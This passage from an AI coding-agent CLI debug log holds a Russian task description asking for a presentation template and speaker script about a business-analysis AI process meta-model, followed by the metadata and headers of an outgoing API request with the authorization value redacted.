\u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c **\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b (fail-closed \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f).\\n5. **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c (\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440):** \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u2192 \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439/\u043a\u0435\u0439\u0441\u0430\u043c\u0438 \u2192 \u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2192 \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (G-human) \u2192 \u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430/\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n6. **\u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:** \u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (GigaCode CLI / Cline) \u2192 \u0412\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f: \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 (\u0421\u0440\u0435\u0434\u0430 4) \u0441 \u0435\u0434\u0438\u043d\u044b\u043c \u044f\u0434\u0440\u043e\u043c-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c.\\n7. **\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:** \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n\\n*\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0441\u043b\u0430\u0439\u0434\u0443:* \u041d\u043e\u043c\u0435\u0440, \u0435\u043c\u043a\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a-\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, 3-5 \u043a\u0440\u0430\u0442\u043a\u0438\u0445 \u0442\u0435\u0437\u0438\u0441\u043e\u0432 (bullet points), \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, **\u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f** (Midjourney/DALL-E \u0441\u0442\u0438\u043b\u044c), \u043e\u0442\u0440\u0430\u0436\u0430\u044e\u0449\u0438\u0439 \u0441\u0443\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u0430.\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2: \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0414\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430)**\\n\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0439, \u043d\u043e \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0434\u043b\u044f \u0443\u0441\u0442\u043d\u043e\u0433\u043e \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0430\u0439\u0434\u0430. \u0414\u043e\u043b\u0436\u0435\u043d \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c \\\"\u043f\u043e\u0447\u0435\u043c\u0443\\\" \u0438 \\\"\u043a\u0430\u043a\\\", \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u044b \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438, \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043a\u0446\u0435\u043d\u0442 \u043d\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043e\u043f\u044b\u0442\u0435 (60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432 `mango_ba_prompts`) \u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u0442\u044c \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n**\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 (Definition of Done):**\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1 (\u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438) \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Markdown, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0441\u0435 7 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u0432\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u0442\u0440\u043e\u0433\u043e\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u043e\u0432 \u043b\u0430\u043a\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438.\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2 (\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430), \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c 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\u0417\u0430\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441 `review`.\\n\\n**\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (\u0412\u0430\u0436\u043d\u043e):**\\n\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043c\u044b. **\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435** \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u0430\u043a\u0438\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432, \u043a\u0430\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a \u0438 \u043a\u0430\u043a \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438. \u041c\u0438\u043a\u0440\u043e\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\",\n[2026-09-29T07:46:50.347Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:50.347Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:50.347Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:50.347Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:50.347Z] [INFO]   }\n[2026-09-29T07:46:50.347Z] [INFO] }\n[2026-09-29T07:46:50.355Z] [STDOUT] [log_c3c4e4] sending request {\n[2026-09-29T07:46:50.358Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:50.361Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:50.370Z] [STDOUT]   options: {\n[2026-09-29T07:46:50.372Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:50.378Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:50.384Z] [STDOUT]     body: {\n[2026-09-29T07:46:50.391Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:50.402Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:50.407Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:50.417Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:50.423Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:50.431Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:50.439Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:50.447Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:50.451Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:50.464Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:50.475Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:50.491Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:50.505Z] [STDOUT]     },\n[2026-09-29T07:46:50.510Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:50.514Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:50.518Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:50.526Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:50.529Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:50.534Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:50.538Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:50.543Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:50.548Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:50.551Z] [STDOUT]     },\n[2026-09-29T07:46:50.553Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:50.558Z] [STDOUT]   },\n[2026-09-29T07:46:50.562Z] [STDOUT]   headers: {\n[2026-09-29T07:46:50.564Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:50.567Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:50.573Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:50.577Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:50.579Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:50.581Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:50.585Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:50.593Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:50.600Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:50.608Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2357\",\n[2026-09-29T07:46:50.611Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:50.613Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:50.615Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:50.617Z] [STDOUT]     \"x-client-request-id\": \"59c503e2-3bc1-4caf-918e-6e14e0f015e7\",\n[2026-09-29T07:46:50.624Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:50.627Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:50.630Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:50.634Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:50.639Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:50.642Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:50.644Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:50.648Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:50.658Z] [STDOUT]   